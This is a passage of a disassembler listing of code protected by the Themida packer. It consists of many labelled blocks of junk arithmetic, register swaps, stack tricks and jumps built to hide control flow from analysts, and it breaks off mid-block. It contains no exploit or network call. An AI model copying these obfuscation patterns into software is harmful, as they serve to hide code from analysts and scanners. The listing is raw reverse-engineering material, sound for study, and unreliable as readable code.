loc_59D180 ; --------------------------------------------------------------------------- loc_5A78A2: ; CODE XREF: Themida_:005A3A51j add ebx, 868D5FF1h mov esi, ebx pop ebx jmp loc_5A148B ; --------------------------------------------------------------------------- loc_5A78B0: ; CODE XREF: Themida_:005A3A2Cj push ebx push edx push 13033889h pop edx sub edx, 39940AB4h jnz loc_5ADD7F shl edx, 5 jnz loc_5A342D mov bl, ah loc_5A78CF: ; CODE XREF: Themida_:005A22DEj xor edx, 8B21CDFFh push ebp jmp loc_5A193A ; --------------------------------------------------------------------------- loc_5A78DB: ; CODE XREF: Themida_:005A22EBj ; Themida_:005A908Fj mov bx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 2 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp xor ch, dl xor dl, ch xor ch, dl xchg al, dl push eax xchg al, [esp] not al xchg al, [esp] mov eax, [esp] add esp, 4 xchg al, dl xchg dl, ch push 238Ch jmp loc_59DB7B ; --------------------------------------------------------------------------- loc_5A7920: ; CODE XREF: Themida_:005AE4E1j jmp loc_5AAFE4 ; --------------------------------------------------------------------------- loc_5A7925: ; CODE XREF: Themida_:005A8CF8j xor ecx, ebx pop ebx sub esi, 4184393Eh jmp loc_59B069 ; --------------------------------------------------------------------------- loc_5A7933: ; CODE XREF: Themida_:005AAA87j xor ch, al mov ax, [esp] add esp, 2 add bh, ch mov ecx, [esp] jmp loc_5AE338 ; --------------------------------------------------------------------------- loc_5A7949: ; CODE XREF: Themida_:00598C09j ; Themida_:005A46DCj add ecx, 2 jmp loc_5A76FB ; --------------------------------------------------------------------------- loc_5A7951: ; CODE XREF: Themida_:005A6B79j push 15FBh mov [esp], esi jmp loc_5A943B ; --------------------------------------------------------------------------- loc_5A795E: ; CODE XREF: Themida_:0059CC7Cj pop dword ptr [esp] mov esp, [esp] push ecx not dword ptr [esp] mov ecx, [esp] jmp loc_5ACBBE ; --------------------------------------------------------------------------- loc_5A7970: ; CODE XREF: Themida_:005A7B48j add ecx, 30614080h or ecx, 9912394h jmp loc_59B2BF ; --------------------------------------------------------------------------- loc_5A7981: ; CODE XREF: Themida_:005A70A4j mov ebp, edi mov edi, [esp] add esp, 4 jmp loc_59B8BA ; --------------------------------------------------------------------------- loc_5A7991: ; CODE XREF: Themida_:005AB26Bj mov esp, [esp] sub esp, 4 mov [esp], ecx push edx mov edx, 5591E80h mov ecx, edx push dword ptr [esp] pop edx add esp, 4 dec ecx push ebx mov ebx, 50055733h xor ebx, 5D1C2DDAh jmp loc_5988D9 ; --------------------------------------------------------------------------- loc_5A79C1: ; CODE XREF: Themida_:005A6A48j mov ecx, 4762653Eh push eax push ecx push 52A315D8h pop ecx jmp loc_5A39AF ; --------------------------------------------------------------------------- loc_5A79D3: ; CODE XREF: Themida_:005ABDDAj xor ecx, 72E4326Bh sub esi, ecx jmp loc_598868 ; --------------------------------------------------------------------------- loc_5A79E0: ; CODE XREF: Themida_:005AAC5Aj add edi, 78B63B7Ah add edi, esi sub edi, 78B63B7Ah mov esi, [esp] push edx mov edx, esp jmp loc_5988E3 ; --------------------------------------------------------------------------- loc_5A79F9: ; CODE XREF: Themida_:0059F2E0j mov ebp, ebx jmp loc_5A61D4 ; --------------------------------------------------------------------------- loc_5A7A00: ; CODE XREF: Themida_:005A7DE6j push 13F6h jmp loc_5AB0EF ; --------------------------------------------------------------------------- loc_5A7A0A: ; CODE XREF: Themida_:0059DDE7j sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], esp push ebx jmp loc_5AD051 ; --------------------------------------------------------------------------- loc_5A7A23: ; CODE XREF: Themida_:0059CE69j mov eax, 0F1C748Bh add eax, 3A10743Bh shl eax, 8 jmp loc_5A66D5 ; --------------------------------------------------------------------------- loc_5A7A35: ; CODE XREF: Themida_:0059E2B0j mov ah, 70h jmp loc_5A5CE9 ; --------------------------------------------------------------------------- loc_5A7A3C: ; CODE XREF: Themida_:0059E2D5j xchg eax, [esp] jmp loc_598FCD ; --------------------------------------------------------------------------- loc_5A7A44: ; CODE XREF: Themida_:005A93BDj pop ebx push ebx mov ebx, esp jmp loc_5AC3E4 ; --------------------------------------------------------------------------- loc_5A7A4D: ; CODE XREF: Themida_:0059E763j or ah, 0E6h dec ah add ah, 5Bh xor dh, ah jmp loc_59F40D ; --------------------------------------------------------------------------- loc_5A7A5C: ; CODE XREF: Themida_:005A0ADEj jmp loc_5A2E3F ; --------------------------------------------------------------------------- loc_5A7A61: ; CODE XREF: Themida_:005A19E2j sub ebx, 140148EAh xor ebx, 343970E5h jz loc_5A49A3 sub ebx, 66CE398Dh or ebx, 51FE5C76h jnp loc_5A1B15 push ebp jmp loc_59BC13 ; --------------------------------------------------------------------------- loc_5A7A8B: ; CODE XREF: Themida_:005A088Aj xor edx, [esp] pop esp mov [esp], esi jmp loc_5A2CAA ; --------------------------------------------------------------------------- loc_5A7A97: ; CODE XREF: Themida_:005A2D76j mov ecx, 6156DF1h mov ebx, ecx jmp loc_5A1A26 ; --------------------------------------------------------------------------- loc_5A7AA3: ; CODE XREF: Themida_:005A97F3j push ebx jmp loc_5A676C ; --------------------------------------------------------------------------- loc_5A7AA9: ; CODE XREF: Themida_:005A8BCEj add edx, 35EE7308h push eax mov eax, 0A421F4Fh add edx, eax jmp loc_5A0E1B ; --------------------------------------------------------------------------- loc_5A7ABC: ; CODE XREF: Themida_:005A2E9Aj pop esp push 562Fh jmp loc_5AC7CF ; --------------------------------------------------------------------------- loc_5A7AC7: ; CODE XREF: Themida_:0059E7C9j push edi mov edi, 6B0266A2h inc edi push ecx jmp loc_5A2E77 ; --------------------------------------------------------------------------- loc_5A7AD4: ; CODE XREF: Themida_:005A77E3j xor edx, 7E5B4Dh jl loc_59BF4D jmp loc_59E1BB ; --------------------------------------------------------------------------- loc_5A7AE5: ; CODE XREF: Themida_:0059C967j pop ecx push esi mov esi, 0B63778Ch push edi mov edi, 7597038Bh and esi, edi pop edi sub esi, 0ED50EA2h shl esi, 7 jmp loc_5A1B94 ; --------------------------------------------------------------------------- loc_5A7B03: ; CODE XREF: Themida_:005AA535j add ebx, ecx jmp loc_5AA339 ; --------------------------------------------------------------------------- loc_5A7B0A: ; CODE XREF: Themida_:005A3E1Dj add ebx, ebp pop ebp sub ebx, 0FFFFFFFFh xor ebx, 4D23F53Bh xor esi, ebx jmp loc_5986D6 ; --------------------------------------------------------------------------- loc_5A7B1D: ; CODE XREF: Themida_:0059849Cj add esp, 4 jmp loc_59A602 ; --------------------------------------------------------------------------- loc_5A7B25: ; CODE XREF: Themida_:005A4C98j push ebx jmp loc_5A75FD ; --------------------------------------------------------------------------- loc_5A7B2B: ; CODE XREF: Themida_:0059D4F3j xor ebx, eax sub esp, 4 mov [esp], edi push 18DF592Ah push dword ptr [esp] pop edi add esp, 4 push ecx mov ecx, 0E384470h jmp loc_5A7970 ; --------------------------------------------------------------------------- xchg cl, [esp] push ebx mov bl, cl jmp loc_5A38D5 ; --------------------------------------------------------------------------- loc_5A7B58: ; CODE XREF: Themida_:005A9F8Fj or ebp, 49694785h jo loc_5A218C neg ebp jz loc_5AD3FD sub ebp, 5EF894E5h mov edx, ebp mov ebp, [esp] jmp loc_5A260E ; --------------------------------------------------------------------------- loc_5A7B7C: ; CODE XREF: Themida_:0059D95Aj add edx, 1C083D7Ah push edx jmp loc_5A6860 ; --------------------------------------------------------------------------- loc_5A7B88: ; CODE XREF: Themida_:00599810j ; Themida_:0059ED30j pop ebx jmp loc_59D553 ; --------------------------------------------------------------------------- loc_5A7B8E: ; CODE XREF: Themida_:0059E807j mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_59FDD4 ; --------------------------------------------------------------------------- loc_5A7B9E: ; CODE XREF: Themida_:005A82FDj mov [esp], edi push 4B8C4852h pop edi push eax mov eax, 5605768Fh neg eax sub eax, 858B4808h or edi, eax pop eax xor edi, 2B106C02h add ebp, edi mov edi, [esp] add esp, 4 sub ebp, eax sub ebp, 44FF2579h pop eax jmp loc_59B0F1 ; --------------------------------------------------------------------------- loc_5A7BD3: ; CODE XREF: Themida_:005AA911j add esi, ecx pop ecx add edx, esi mov esi, [esp] add esp, 4 jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A7BE6: ; CODE XREF: Themida_:005ACD4Fj add edi, 0E04BC479h push 7C5h mov [esp], ebx mov ebx, edi mov eax, ebx mov ebx, [esp] add esp, 4 mov edi, [esp] add esp, 4 add ebx, eax jmp loc_59B28B ; --------------------------------------------------------------------------- loc_5A7C0E: ; CODE XREF: Themida_:0059CB4Ej pop ebp xor ebp, 7D4103A0h jmp loc_5987CE ; --------------------------------------------------------------------------- loc_5A7C1A: ; CODE XREF: Themida_:0059EFFBj sub al, cl push edx mov dl, 0C0h shl dl, 7 or dl, 0B0h neg dl not dl inc dl add dl, 8Ah add al, dl pop edx pop ecx sub al, bl sub esp, 4 jmp loc_59DF6E ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] jmp loc_59FF6C ; --------------------------------------------------------------------------- loc_5A7C4A: ; CODE XREF: Themida_:0059CB85j add edx, 4 jmp loc_598AD2 ; --------------------------------------------------------------------------- loc_5A7C52: ; CODE XREF: Themida_:005A8F33j dec ch push 47C3h mov [esp], ebx mov bl, 18h push 0 jmp loc_5AAEE7 ; --------------------------------------------------------------------------- loc_5A7C68: ; CODE XREF: Themida_:005A9430j push 20A9h mov [esp], esi push 4D51h mov [esp], esp push edx mov edx, 4 add [esp+4], edx pop edx pop esi jmp loc_5A0A98 ; --------------------------------------------------------------------------- loc_5A7C89: ; CODE XREF: Themida_:005A2624j ; Themida_:005AF270j pop edx jmp loc_5A1191 ; --------------------------------------------------------------------------- loc_5A7C8F: ; CODE XREF: Themida_:005A8AC2j pop esi push ebx push edi mov edi, 2760B40h jmp loc_5A51E2 ; --------------------------------------------------------------------------- loc_5A7C9C: ; CODE XREF: Themida_:005AF42Cj mov ebx, eax pop eax mov esi, ebx mov ebx, [esp] add esp, 4 push edi mov edi, 34C07FA1h xor esi, edi pop edi push ecx mov ecx, 41386CD7h jmp loc_5A2377 ; --------------------------------------------------------------------------- loc_5A7CBE: ; CODE XREF: Themida_:0059E936j add esp, 2 jmp loc_5A3A14 ; --------------------------------------------------------------------------- loc_5A7CC6: ; CODE XREF: Themida_:00599639j mov esi, 51F9307Dh jmp loc_59C6C9 ; --------------------------------------------------------------------------- loc_5A7CD0: ; CODE XREF: Themida_:0059B064j mov ecx, [esp] add esp, 4 jmp loc_5A4E6E ; --------------------------------------------------------------------------- loc_5A7CDB: ; CODE XREF: Themida_:0059EF7Aj mov ebx, 33017BC8h jmp loc_598983 ; --------------------------------------------------------------------------- loc_5A7CE5: ; CODE XREF: Themida_:0059A3FFj pop esi shl ecx, 8 jmp loc_5A5041 ; --------------------------------------------------------------------------- loc_5A7CEE: ; CODE XREF: Themida_:005A4FDFj jo loc_5A96FC jmp loc_5A1FD8 ; --------------------------------------------------------------------------- loc_5A7CF9: ; CODE XREF: Themida_:005A5A25j pop edx add esp, 4 sub ebx, ebp mov ebp, [esp] jmp loc_5A6104 ; --------------------------------------------------------------------------- loc_5A7D0A: ; CODE XREF: Themida_:005A4D85j pop ebp jmp loc_5A6B4D ; --------------------------------------------------------------------------- loc_5A7D10: ; CODE XREF: Themida_:005AEA93j jmp loc_5A966D ; --------------------------------------------------------------------------- loc_5A7D15: ; CODE XREF: Themida_:0059C9CEj jns loc_598FA3 add edx, 481625D6h xor eax, edx push dword ptr [esp] pop edx push esi loc_5A7D28: ; CODE XREF: Themida_:005AE780j add ebp, edx push ebx mov ebx, 20760BFDh sub ebp, ebx pop ebx jmp loc_59EC32 ; --------------------------------------------------------------------------- loc_5A7D38: ; CODE XREF: Themida_:005A0A77j ; Themida_:005A871Cj jmp loc_5A9D7F ; --------------------------------------------------------------------------- loc_5A7D3D: ; CODE XREF: Themida_:005A1828j push esp pop ebx push ecx mov ecx, 4 jmp loc_5A8056 ; --------------------------------------------------------------------------- loc_5A7D4A: ; CODE XREF: Themida_:005A4C73j add ebx, edx push 8D6h jmp loc_59AC09 ; --------------------------------------------------------------------------- loc_5A7D56: ; CODE XREF: Themida_:0059AA69j ; Themida_:005A4227j push edi mov edi, esp jmp loc_5ABF07 ; --------------------------------------------------------------------------- loc_5A7D5E: ; CODE XREF: Themida_:loc_5AD73Cj inc bh jmp loc_5A5851 ; --------------------------------------------------------------------------- loc_5A7D65: ; CODE XREF: Themida_:005996D2j ; Themida_:005A336Aj push esi jmp loc_59B7FB ; --------------------------------------------------------------------------- loc_5A7D6B: ; CODE XREF: Themida_:0059FA2Fj ; Themida_:005A2F5Cj inc bl push edx jmp loc_59CBE4 ; --------------------------------------------------------------------------- loc_5A7D73: ; CODE XREF: Themida_:005A288Dj xor esi, 3FDB78F1h jmp loc_5991D7 ; --------------------------------------------------------------------------- loc_5A7D7E: ; CODE XREF: Themida_:00599ABBj add esp, 2 jmp loc_5A6DFB ; --------------------------------------------------------------------------- loc_5A7D86: ; CODE XREF: Themida_:005A49AFj ; Themida_:005A54A8j ... push esi push eax mov eax, 7610C38h sub eax, 6DB04AEAh neg eax shl eax, 2 or eax, 4317A0Eh push ecx jmp loc_5AA5AE ; --------------------------------------------------------------------------- loc_5A7DA2: ; CODE XREF: Themida_:00599011j mov [esp], ecx jmp loc_59FBD6 ; --------------------------------------------------------------------------- loc_5A7DAA: ; CODE XREF: Themida_:005AD2F1j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A7DAF: ; CODE XREF: Themida_:0059987Fj sub esi, ecx pop ecx push ebp push esi pop ebp mov eax, ebp pop ebp mov esi, [esp] add esp, 4 inc eax push edi jmp loc_5AAAD1 ; --------------------------------------------------------------------------- mov cx, [esp] push ebx push 1BDCh push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 add ebx, 4 jmp loc_5A7A00 ; --------------------------------------------------------------------------- loc_5A7DEB: ; CODE XREF: Themida_:005AB76Dj pop ebx add eax, 7F9C4AC4h push dword ptr [esp] jmp loc_5A6202 ; --------------------------------------------------------------------------- loc_5A7DF9: ; CODE XREF: Themida_:loc_598CC4j sub ecx, 0E743D3C1h mov edi, ecx pop ecx sub ebp, edi mov edi, [esp] jmp loc_5A0815 ; --------------------------------------------------------------------------- loc_5A7E0C: ; CODE XREF: Themida_:loc_5AD498j and ebx, 7ACA5BD5h jns loc_5AEBE1 jmp loc_59A581 ; --------------------------------------------------------------------------- sub [esp+0Ch], edi pop edi pop ebx loc_5A7E23: ; CODE XREF: Themida_:005ABDE6j not edi sub edi, 7CEEE05Ch neg edi shl edi, 4 jmp loc_59F047 ; --------------------------------------------------------------------------- loc_5A7E35: ; CODE XREF: Themida_:005A405Fj add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp pop eax jmp loc_5A8D42 ; --------------------------------------------------------------------------- loc_5A7E48: ; CODE XREF: Themida_:005A15DBj pop ebx xor ebx, 651B092Dh pop eax or ebx, 768F500Ah shr ebx, 5 push ebx not dword ptr [esp] pop ebx sub ebx, 0FC490404h add ecx, ebx pop ebx push edi mov edi, 4 sub ecx, 5E502F52h sub ecx, edi add ecx, 5E502F52h jmp loc_59D7AF ; --------------------------------------------------------------------------- loc_5A7E80: ; CODE XREF: Themida_:005A8FE7j ; Themida_:005AC537j push ebx mov bh, 31h push 0 sub [esp], bh mov bh, [esp] add esp, 4 xor bh, 4Fh push edx mov dh, 47h xor bh, dh pop edx or ah, bh pop ebx sub ah, 26h xor dh, ah pop eax mov ch, dh mov edx, [esp] push esi mov esi, esp add esi, 4 jmp loc_5A8E0B ; --------------------------------------------------------------------------- loc_5A7EB6: ; CODE XREF: Themida_:005AED83j neg bh dec bh xor bh, 0D7h jle loc_5AC674 jmp loc_5AE128 ; --------------------------------------------------------------------------- loc_5A7EC8: ; CODE XREF: Themida_:005ABD6Dj mov bh, 9Ah push ecx jmp loc_59F951 ; --------------------------------------------------------------------------- loc_5A7ED0: ; CODE XREF: Themida_:005A2DC8j ; Themida_:005A5927j push ebx mov ebx, 71D64EFDh not ebx push eax push ecx jmp loc_5AB0E5 ; --------------------------------------------------------------------------- loc_5A7EDF: ; CODE XREF: Themida_:005ABC19j pop eax xor esi, ebp jmp loc_5A1887 ; --------------------------------------------------------------------------- loc_5A7EE7: ; CODE XREF: Themida_:005A073Fj mov [esp], ebx push 524B5129h jmp loc_5ACC0D ; --------------------------------------------------------------------------- loc_5A7EF4: ; CODE XREF: Themida_:0059E7AEj add edx, esi add edx, 275A3024h mov esi, [esp] jmp loc_5A4481 ; --------------------------------------------------------------------------- loc_5A7F04: ; CODE XREF: Themida_:005A9C68j mov ecx, 1A4E273Bh jmp loc_5A357B ; --------------------------------------------------------------------------- loc_5A7F0E: ; CODE XREF: Themida_:005A3686j jmp loc_5A8B34 ; --------------------------------------------------------------------------- loc_5A7F13: ; CODE XREF: Themida_:0059DB58j ; Themida_:005AA1FEj sub eax, 78C43B9Bh add eax, ebp add eax, 78C43B9Bh add eax, 14FB6FCDh push esi push eax mov eax, 6AF76405h mov esi, eax pop eax jmp loc_5A084D ; --------------------------------------------------------------------------- loc_5A7F33: ; CODE XREF: Themida_:005A7345j add ecx, 2E4B3D33h add ecx, ebx sub ecx, 2E4B3D33h add ecx, 3AD91FFFh pop ebx add ecx, 4 push 4A26h mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_5A4A90 ; --------------------------------------------------------------------------- loc_5A7F68: ; CODE XREF: Themida_:005A95B8j add ecx, ebx pop ebx push ebx mov ebx, 9D57162h jmp loc_59C9F7 ; --------------------------------------------------------------------------- loc_5A7F76: ; CODE XREF: Themida_:005AF083j sub esp, 4 jmp loc_5A308D ; --------------------------------------------------------------------------- loc_5A7F81: ; CODE XREF: Themida_:0059EEABj mov eax, 0A002C24h sub edx, eax pop eax add ebx, edx pop edx add ebx, 4 xor ebx, [esp] jmp loc_59E840 ; --------------------------------------------------------------------------- loc_5A7F97: ; CODE XREF: Themida_:005A7591j push ebp push esp pop ebp push 5F66h mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_59EFB6 ; --------------------------------------------------------------------------- loc_5A7FB5: ; CODE XREF: Themida_:005AF4BBj mov [esp], esi mov esi, 4 add ebp, esi jmp loc_5ABB01 ; --------------------------------------------------------------------------- loc_5A7FC4: ; CODE XREF: Themida_:005988E4j mov ecx, 4 add edx, ecx pop ecx jmp loc_59B44B ; --------------------------------------------------------------------------- loc_5A7FD1: ; CODE XREF: Themida_:005A1EAFj or eax, 1B6B7971h add eax, 29A2E7Fh jmp loc_59CA9D ; --------------------------------------------------------------------------- loc_5A7FE0: ; CODE XREF: Themida_:005A5CF2j xor ah, ch pop ecx jmp loc_5A1D2E ; --------------------------------------------------------------------------- loc_5A7FE8: ; CODE XREF: Themida_:005AC5CDj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_5ABA95 ; --------------------------------------------------------------------------- loc_5A7FF9: ; CODE XREF: Themida_:005A122Fj mov [esp], ecx jmp loc_5A98E0 ; --------------------------------------------------------------------------- loc_5A8001: ; CODE XREF: Themida_:005AC51Dj xor ebx, ecx pop ecx jmp loc_59C557 ; --------------------------------------------------------------------------- loc_5A8009: ; CODE XREF: Themida_:0059F81Fj sub ebx, eax pop eax jmp loc_599F74 ; --------------------------------------------------------------------------- loc_5A8011: ; CODE XREF: Themida_:005A740Aj mov edx, [esp] jmp loc_5A3E8E ; --------------------------------------------------------------------------- loc_5A8019: ; CODE XREF: Themida_:005A9BB0j push dword ptr [esp] mov ebp, [esp] add esp, 4 push 2600h mov [esp], eax push 35DEh push esp pop dword ptr [esp] add dword ptr [esp], 4 pop eax add eax, 4 push edx mov edx, 4 jmp loc_5A8942 ; --------------------------------------------------------------------------- loc_5A804B: ; CODE XREF: Themida_:0059D392j or ebp, 55F941D8h jmp loc_5ABA62 ; --------------------------------------------------------------------------- loc_5A8056: ; CODE XREF: Themida_:005A7D45j add ebx, 572B46FBh add ebx, ecx jmp loc_599915 ; --------------------------------------------------------------------------- loc_5A8063: ; CODE XREF: Themida_:005A71A3j sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax mov eax, edx push ebp mov ebp, eax jmp loc_5A39CD ; --------------------------------------------------------------------------- loc_5A8077: ; CODE XREF: Themida_:005ADF4Dj or dl, 0E1h add dl, 0C2h sub cl, dl pop edx inc cl jle loc_599294 add cl, 0D7h jmp loc_5A1506 ; --------------------------------------------------------------------------- loc_5A8090: ; CODE XREF: Themida_:loc_5AAD9Ej shr ebx, 3 sub ebx, 0FFFFFFFFh push eax jmp loc_59E159 ; --------------------------------------------------------------------------- loc_5A809C: ; CODE XREF: Themida_:0059B633j add ebx, 4E48687Eh jp loc_599AD6 and ebx, 483A0113h js loc_5A4FAF shr ebx, 2 jnp loc_59F888 not ebx jmp loc_59A4FE ; --------------------------------------------------------------------------- loc_5A80C4: ; CODE XREF: Themida_:loc_59CA20j sub edx, 1C026C0Fh jmp loc_599152 ; --------------------------------------------------------------------------- loc_5A80CF: ; CODE XREF: Themida_:005AE011j xor eax, 50657ED6h jmp loc_5A4DD5 ; --------------------------------------------------------------------------- loc_5A80D9: ; CODE XREF: Themida_:005A5E71j pop ebp sub ebx, 2EDC52ECh add ebx, ecx jmp loc_59D462 ; --------------------------------------------------------------------------- loc_5A80E7: ; CODE XREF: Themida_:005A3E69j push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], edi push 0C4D5F69h pop edi sub edi, 0A654E963h mov edx, edi pop edi xor edx, 65F87602h add eax, edx jmp loc_59AE43 ; --------------------------------------------------------------------------- loc_5A810F: ; CODE XREF: Themida_:005A417Fj xor ebp, 3299EFB1h sub ebx, 4CAF4F3Ch add ebx, ebp jmp loc_59B079 ; --------------------------------------------------------------------------- loc_5A8122: ; CODE XREF: Themida_:005AEAB2j jz loc_59AECE add ebx, 1FC09A3h jnz loc_5A3950 shl ebx, 5 jmp loc_5A3912 ; --------------------------------------------------------------------------- push ebp push ecx push esi lodsd jmp loc_59D5E7 ; --------------------------------------------------------------------------- loc_5A8145: ; CODE XREF: Themida_:005AD56Aj xchg ebp, [esp] not ebp xchg ebp, [esp] mov edi, [esp] jmp loc_5AA835 ; --------------------------------------------------------------------------- loc_5A8155: ; CODE XREF: Themida_:005A7180j mov eax, 332D3C9Bh sub dword ptr [esp+4], 338B2AF5h jmp loc_5AAE89 ; --------------------------------------------------------------------------- loc_5A8167: ; CODE XREF: Themida_:005A6F5Dj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp dec ebx jmp loc_5A5E62 ; --------------------------------------------------------------------------- loc_5A817B: ; CODE XREF: Themida_:005A3EF9j push dword ptr [esp] pop edx add esp, 4 push ebp mov ebp, esp sub esp, 4 jmp loc_59A376 ; --------------------------------------------------------------------------- loc_5A818D: ; CODE XREF: Themida_:00599E9Ej shl word ptr [esp], cl pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A8197: ; CODE XREF: Themida_:005A66DCj pop eax jmp loc_59DA43 ; --------------------------------------------------------------------------- loc_5A819D: ; CODE XREF: Themida_:005A711Aj jg loc_5A705C dec esi jnp loc_5AB2DB shr esi, 6 sub esi, 0DCC57E8Ch inc esi sub esi, 1 loc_5A81B7: ; CODE XREF: Themida_:00599C17j add esp, 4 dec esi jns loc_59AE5A push edx push edi mov edi, 19DF30BCh dec edi jmp loc_59AAB7 ; --------------------------------------------------------------------------- loc_5A81CE: ; CODE XREF: Themida_:005ADD82j add edx, 2BD43C69h jmp loc_5AB6EE ; --------------------------------------------------------------------------- loc_5A81D9: ; CODE XREF: Themida_:0059C70Bj push ebx mov ebx, 3A02A881h sub ecx, ebx pop ebx jmp loc_5ACF80 ; --------------------------------------------------------------------------- loc_5A81E7: ; CODE XREF: Themida_:0059E1C1j xor edx, 0ABCA726h push edi mov edi, 1DE5486Ah jmp loc_5A3B5C ; --------------------------------------------------------------------------- loc_5A81F8: ; CODE XREF: Themida_:005A0A2Aj ; Themida_:005A5EE4j mov [esp], ecx mov ecx, 4 jmp loc_5A2A32 ; --------------------------------------------------------------------------- loc_5A8205: ; CODE XREF: Themida_:005A50CEj sub esi, ebx jmp loc_59BFDC ; --------------------------------------------------------------------------- loc_5A820C: ; CODE XREF: Themida_:0059CC50j pop edx and eax, esi pop esi shr eax, 0Ah xor eax, ecx xor eax, ebp xor ebp, eax xor eax, ebp sub esp, 4 mov [esp], ebp push esp mov ebp, [esp] add esp, 4 jmp loc_5A37B4 ; --------------------------------------------------------------------------- loc_5A8233: ; CODE XREF: Themida_:0059C99Dj mov [esp], edi push ebx push 296012B5h pop ebx or ebx, 34D33FCFh jl loc_59FC80 shr ebx, 1 jz loc_59F541 sub ebx, 1EF99FFBh push ebx xor dword ptr [esp], 96E2F15h pop edi xor edi, 96E2F15h pop ebx jmp loc_59D84E ; --------------------------------------------------------------------------- loc_5A826C: ; CODE XREF: Themida_:0059F503j ; Themida_:005AD8FBj mov ebp, esp jmp loc_5ADC05 ; --------------------------------------------------------------------------- loc_5A8273: ; CODE XREF: Themida_:0059A739j pop esp push esi jmp loc_598C56 ; --------------------------------------------------------------------------- loc_5A827A: ; CODE XREF: Themida_:005A8D09j ; Themida_:005AA803j inc eax jmp loc_5A43A4 ; --------------------------------------------------------------------------- loc_5A8280: ; CODE XREF: Themida_:005AAAEFj xor ebp, 60C834C8h xor edi, ebp jmp loc_59E959 ; --------------------------------------------------------------------------- loc_5A828D: ; CODE XREF: Themida_:005AF30Cj and eax, 1D1B5E63h sub eax, 5A0875A8h sub eax, 0A5F9D857h jmp loc_59865D ; --------------------------------------------------------------------------- loc_5A82A1: ; CODE XREF: Themida_:0059BA97j sub edi, 76DE3828h add edi, ebp add edi, 76DE3828h mov ebp, [esp] add esp, 4 add ecx, edi mov edi, [esp] add esp, 4 jmp loc_59E848 ; --------------------------------------------------------------------------- loc_5A82C5: ; CODE XREF: Themida_:005A234Fj add esp, 4 jmp loc_599884 ; --------------------------------------------------------------------------- loc_5A82CD: ; CODE XREF: Themida_:0059F628j pop eax add eax, 4 add eax, 4 push eax jmp loc_5A20EB ; --------------------------------------------------------------------------- loc_5A82DE: ; CODE XREF: Themida_:005A8F66j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub esp, 4 mov [esp], eax mov eax, 2 push 56EEh jmp loc_5A7B9E ; --------------------------------------------------------------------------- loc_5A8302: ; CODE XREF: Themida_:005A008Bj mov eax, [esp] add esp, 4 jmp loc_59F285 ; --------------------------------------------------------------------------- loc_5A830D: ; CODE XREF: Themida_:005A3DC2j add ecx, 4 sub ecx, 4 jmp loc_5AB98E ; --------------------------------------------------------------------------- loc_5A831E: ; CODE XREF: Themida_:0059AA04j ; Themida_:005A5E4Dj pop esi add esi, 21D8DEh sub esp, 4 mov [esp], esi pop eax pop esi or eax, 283C2840h jb loc_5A96D5 jmp loc_59F7C4 ; --------------------------------------------------------------------------- loc_5A833D: ; CODE XREF: Themida_:005A3917j pop eax push 6994h mov [esp], eax not dword ptr [esp] jmp loc_5A5E08 ; --------------------------------------------------------------------------- loc_5A834E: ; CODE XREF: Themida_:005A2D2Dj mov cl, al jmp loc_5AE8B5 ; --------------------------------------------------------------------------- loc_5A8355: ; CODE XREF: Themida_:005AEB53j jmp loc_5AE8A2 ; --------------------------------------------------------------------------- loc_5A835A: ; CODE XREF: Themida_:00599D54j mov esp, [esp] jmp loc_5AABCF ; --------------------------------------------------------------------------- loc_5A8362: ; CODE XREF: Themida_:005A05A5j mov esp, [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push ebp push esp mov ebp, [esp] add esp, 4 push edx mov edx, 4 add ebp, edx mov edx, [esp] add esp, 4 jmp loc_5AD4BE ; --------------------------------------------------------------------------- loc_5A838F: ; CODE XREF: Themida_:005A5138j shl ebx, 4 jmp loc_5AE8E3 ; --------------------------------------------------------------------------- loc_5A8397: ; CODE XREF: Themida_:005999CAj ; Themida_:loc_5A1269j mov ebp, 5E0043F2h xor edx, ebp pop ebp jmp loc_5ACD54 ; --------------------------------------------------------------------------- loc_5A83A4: ; CODE XREF: Themida_:0059CA2Cj jnp loc_5A5D9E jmp loc_5A7823 ; --------------------------------------------------------------------------- mov esi, esp push edi mov bh, dl push eax loc_5A83B5: ; CODE XREF: Themida_:00599517j xor edi, ecx mov ecx, [esp] add esp, 4 add ebp, 28555494h add ebp, edi push edx mov edx, 28555494h sub ebp, edx pop edx pop edi mov esi, ebp pop ebp mov edi, esi push dword ptr [esp] pop esi push edx mov edx, esp push edi mov edi, 6C206504h xchg ebx, edi jmp loc_5A774A ; --------------------------------------------------------------------------- loc_5A83EB: ; CODE XREF: Themida_:loc_5AD3EDj sub edx, 9B378B89h xor edx, 769F5B68h xor eax, edx pop edx xor eax, 1A3A609Dh jmp loc_5A26E4 ; --------------------------------------------------------------------------- loc_5A8404: ; CODE XREF: Themida_:loc_59FCC5j xor esi, 61E93D67h add esi, 472703C7h add eax, esi pop esi pop edx sub esp, 4 mov [esp], ebp jmp loc_5A6AFD ; --------------------------------------------------------------------------- loc_5A8422: ; CODE XREF: Themida_:005A76AFj xor eax, edx push dword ptr [esp] jmp loc_5A1962 ; --------------------------------------------------------------------------- loc_5A842C: ; CODE XREF: Themida_:0059FE67j push 0CA9h mov [esp], eax push esi push small 610Ah pop si not si jmp loc_5ABFEE ; --------------------------------------------------------------------------- loc_5A8443: ; CODE XREF: Themida_:005A8695j push edx push 3B60129Ah jmp loc_5ADFCC ; --------------------------------------------------------------------------- loc_5A844E: ; CODE XREF: Themida_:005AD40Cj push eax mov eax, 7161C7Ch 